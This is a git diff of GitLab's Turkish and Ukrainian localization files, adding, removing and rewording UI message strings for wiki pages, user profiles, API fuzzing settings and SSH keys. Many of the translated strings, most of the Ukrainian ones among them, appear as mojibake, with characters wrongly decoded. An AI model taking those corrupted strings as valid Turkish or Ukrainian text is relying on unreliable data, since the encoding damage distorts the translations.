msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr "İfade ödülünü aç/kapat"
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr "Gezinmeyi aç/kapat"
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr "Servis Masasını Aç"
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr "Paketler"
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32642,7 +33412,7 @@ msgid "UserList|created %{timeago}"
msgstr "%{timeago} oluÅŸturuldu"
msgid "UserProfile|(Busy)"
-msgstr ""
+msgstr "(MeÅŸgul)"
msgid "UserProfile|Activity"
msgstr "Etkinlik"
@@ -32654,7 +33424,7 @@ msgid "UserProfile|Blocked user"
msgstr "Engellenmiş kullanıcı"
msgid "UserProfile|Bot activity"
-msgstr ""
+msgstr "Bot etkinliÄŸi"
msgid "UserProfile|Contributed projects"
msgstr "Katıldığı projeler"
@@ -32666,10 +33436,10 @@ msgid "UserProfile|Explore public groups to find projects to contribute to."
msgstr "Katkıda bulunacak projeler bulmak için ortak grupları keşfedin."
msgid "UserProfile|Followers"
-msgstr ""
+msgstr "Takipçi"
msgid "UserProfile|Following"
-msgstr ""
+msgstr "Takip edilen"
msgid "UserProfile|Groups"
msgstr "Gruplar"
@@ -32696,7 +33466,7 @@ msgid "UserProfile|Report abuse"
msgstr "Kötüye kullanımı bildir"
msgid "UserProfile|Retry"
-msgstr ""
+msgstr "Yeniden dene"
msgid "UserProfile|Snippets"
msgstr "Parçacıklar"
@@ -32714,7 +33484,7 @@ msgid "UserProfile|Subscribe"
msgstr "Abone ol"
msgid "UserProfile|This user doesn't have any followers."
-msgstr ""
+msgstr "Bu kullanıcının hiç takipçisi yok."
msgid "UserProfile|This user doesn't have any personal projects"
msgstr "Bu kullanıcının herhangi bir kişisel projesi yok"
@@ -32732,10 +33502,10 @@ msgid "UserProfile|This user is blocked"
msgstr "Bu kullanıcı engellendi"
msgid "UserProfile|This user isn't following other users."
-msgstr ""
+msgstr "Bu kullanıcı diğer kullanıcıları takip etmiyor."
msgid "UserProfile|Unconfirmed user"
-msgstr ""
+msgstr "Onaylanmamış kullanıcı"
msgid "UserProfile|View all"
msgstr "Tümünü görüntüle"
@@ -32744,13 +33514,13 @@ msgid "UserProfile|View user in admin area"
msgstr "Kullanıcıyı yönetici alanında görüntüle"
msgid "UserProfile|You are not following other users."
-msgstr ""
+msgstr "Diğer kullanıcıları takip etmiyorsunuz."
msgid "UserProfile|You can create a group for several dependent projects."
msgstr "Birkaç bağımlı proje için bir grup oluşturabilirsiniz."
msgid "UserProfile|You do not have any followers."
-msgstr ""
+msgstr "Hiç takipçiniz yok."
msgid "UserProfile|You haven't created any personal projects."
msgstr "Herhangi bir kişisel proje oluşturmadınız."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr "Etiketleri göster"
msgid "View log"
msgstr "Günlüğü görüntüle"
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr "Açık birleştirme isteğini görüntüle"
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33660,7 +34478,7 @@ msgid "What is your job title? (optional)"
msgstr ""
msgid "What's new"
-msgstr ""
+msgstr "Neler yeni?"
msgid "What’s your experience level?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr "Gollum'u yükleyin"
msgid "WikiClone|Start Gollum and edit locally"
msgstr "Gollum'u başlat ve yerel olarak düzenle"
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,18 +34641,6 @@ msgstr "geçmiş"
msgid "WikiHistoricalPage|most recent version"
msgstr "en son sürüm"
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
-msgstr "Daha fazla örnek %{docs_link} içinde"
-
-msgid "WikiMarkdownDocs|documentation"
-msgstr "belgeleme"
-
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
-msgstr ""
-
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
-msgstr ""
-
msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr "Bu sayfayı silmek istediğinizden emin misiniz?"
@@ -33850,11 +34653,38 @@ msgstr "%{pageTitle} sayfası silinsin mi?"
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
-msgstr "%{pageTitle} oluÅŸtur"
+msgid "WikiPage|Commit message"
+msgstr ""
+
+msgid "WikiPage|Content"
+msgstr ""
+
+msgid "WikiPage|Create %{pageTitle}"
+msgstr ""
+
+msgid "WikiPage|Create page"
+msgstr ""
+
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
-msgstr "%{pageTitle} güncelle"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
+msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr "İçeriğinizi yazın veya dosyaları buraya sürükleyin…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr "Yeni Sayfa OluÅŸtur"
-msgid "Wiki|Create page"
-msgstr "Sayfa oluÅŸtur"
-
msgid "Wiki|Created date"
msgstr "OluÅŸturma tarihi"
@@ -33880,9 +34707,6 @@ msgstr "Yeni sayfa"
msgid "Wiki|Page history"
msgstr "Sayfa geçmişi"
-msgid "Wiki|Page title"
-msgstr "Sayfa başlığı"
-
msgid "Wiki|Page version"
msgstr "Sayfa sürümü"
@@ -33943,6 +34767,9 @@ msgstr "Bir yorum yazın veya dosyalarınızı buraya sürükleyin…"
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr "Dönüm noktası açıklaması yazın..."
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr "Değiştirmek için mevcut şifrenizi girmelisiniz."
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr "İzin almanız gerekli."
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr "Projelerinizin EtkinliÄŸi"
msgid "Your Public Email will be displayed on your public profile."
msgstr "Herkese açık e-postanız, herkese açık profilinizde gösterilecektir."
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr "Yapılacaklar Listeniz"
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr "Lisansınız şu tarihten itibaren geçerlidir:"
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr "[Sebep yok]"
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr "özel anahtar okunamadı, şifre doğru mu?"
msgid "created"
msgstr "oluÅŸturdu:"
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr "%{timeAgo} oluÅŸturuldu"
@@ -35415,6 +36260,9 @@ msgstr "yardım"
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr "https://sizin-bitbucket-sunucunuz"
@@ -35585,7 +36433,7 @@ msgstr "oturum aç"
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr "1 iÅŸlemi birleÅŸtir"
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr "Kaynak dalı şimdi silebilirsiniz"
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr "Åžifreniz"
msgid "mrWidget|branch does not exist."
msgstr "dal mevcut deÄŸil."
-msgid "mrWidget|command line"
-msgstr "komut satırı"
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr "%{email} tarafından %{timeAgoString} %{user} aracılığıyla açıldı"
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr "%{user} tarafından %{timeAgoString} açıldı"
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr "Jira'da %{user} tarafından %{timeAgoString} açıldı"
-
msgid "opened %{timeAgo}"
msgstr "%{timeAgo} açıldı"
@@ -36290,9 +37114,6 @@ msgstr "katkıda bulunanlara yardım etmek için etkili şekilde iletişim kurun
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr "daraltmayı aç/kapat"
@@ -36338,6 +37159,12 @@ msgstr "kullanıcı adı"
msgid "v%{version} published %{timeAgo}"
msgstr "v%{version} sürümü %{timeAgo} yayınlandı"
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr "sahipliÄŸi doÄŸrula"
diff --git a/locale/uk/gitlab.po b/locale/uk/gitlab.po
index 250038ef0ad..a00f7e18719 100644
--- a/locale/uk/gitlab.po
+++ b/locale/uk/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: uk\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:53\n"
+"PO-Revision-Date: 2021-04-02 00:13\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -140,6 +140,13 @@ msgstr[1] "%d змінених файли"
msgstr[2] "%d змінених файлів"
msgstr[3] "%d змінених файлів"
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] "%d дочірній епік"
@@ -255,6 +262,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d виправлений результат теÑту"
@@ -510,6 +524,9 @@ msgstr "Ð¾Ð±Ð³Ð¾Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ %{authorsName}"
msgid "%{board_target} not found"
msgstr "%{board_target} не знайдено"
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -522,6 +539,13 @@ msgstr "%{commit_author_link} закомітив %{commit_timeago}"
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -550,23 +574,9 @@ msgstr "%{count} Ñхвалень від %{name}"
msgid "%{count} files touched"
msgstr "%{count} файлів змінено"
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{count} more"
msgstr "%{count} більше"
@@ -665,7 +675,7 @@ msgstr "кориÑтувачі групи %{group_name}"
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr "%{group_name} викориÑтовує облікові запиÑи керовані групою. Вам необхідно Ñтворити новий обліковий Ð·Ð°Ð¿Ð¸Ñ GitLab, Ñкий буде керуватиÑÑ %{group_name}."
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -1082,6 +1092,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr "%{usage_ping_link_start}ДовідатиÑÑŒ більше%{usage_ping_link_end} про те, Ñкою інформацією Ви ділитеÑÑŒ із GitLab Inc."
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (не може виконувати злиттÑ)"
@@ -1219,6 +1232,9 @@ msgstr[3] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1313,6 +1329,13 @@ msgstr[1] "%d дні"
msgstr[2] "%d днів"
msgstr[3] "%d днів"
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1341,6 +1364,20 @@ msgstr[1] "%d години"
msgstr[2] "%d годин"
msgstr[3] "%d годин"
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] "1 заÑтоÑований запит на злиттÑ"
@@ -1355,6 +1392,13 @@ msgstr[1] "%d хвилини"
msgstr[2] "%d хвилин"
msgstr[3] "%d хвилин"
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] "1 відкрита задача"
@@ -1390,6 +1434,20 @@ msgstr[1] "%{num} кориÑтувачі"
msgstr[2] "%{num} кориÑтувачів"
msgstr[3] "%{num} кориÑтувачів"
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1-9 contributions"
msgstr "1-9 внеÑків"
@@ -1507,9 +1565,6 @@ msgstr "Файл не знайдено."
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr "Файл з '%{file_name}' вже Ñ–Ñнує в гілці %{branch}"
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr "Група — набір із декількох проєктів"
@@ -1519,13 +1574,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1600,9 +1652,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr "КориÑтувач із правом запиÑу в гілку-джерело вибрав цей варіант"
@@ -1621,13 +1670,25 @@ msgstr "Довідка API"
msgid "API Token"
msgstr "API-токен"
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1639,6 +1700,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1651,16 +1715,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
+msgstr ""
+
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1669,16 +1736,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1711,9 +1778,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1891,6 +1955,9 @@ msgstr "Обліковий Ð·Ð°Ð¿Ð¸Ñ Ñ‚Ð° ліміт"
msgid "Account: %{account}"
msgstr "Обліковий запиÑ: %{account}"
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1921,13 +1988,6 @@ msgstr "Додати"
msgid "Add \"%{value}\""
msgstr "Додати \"%{value}\""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] "Додати %d задачу"
-msgstr[1] "Додати %d задачі"
-msgstr[2] "Додати %d задач"
-msgstr[3] "Додати %d задач"
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr "Додати %{linkStart}реÑурÑи%{linkEnd} до Ñвого релізу. GitLab автоматично включає реÑурÑи тільки Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ Ñ‚Ð°ÐºÑ– Ñк вихідний код та дані про реліз."
@@ -1973,6 +2033,9 @@ msgstr "Додати GPG ключ"
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
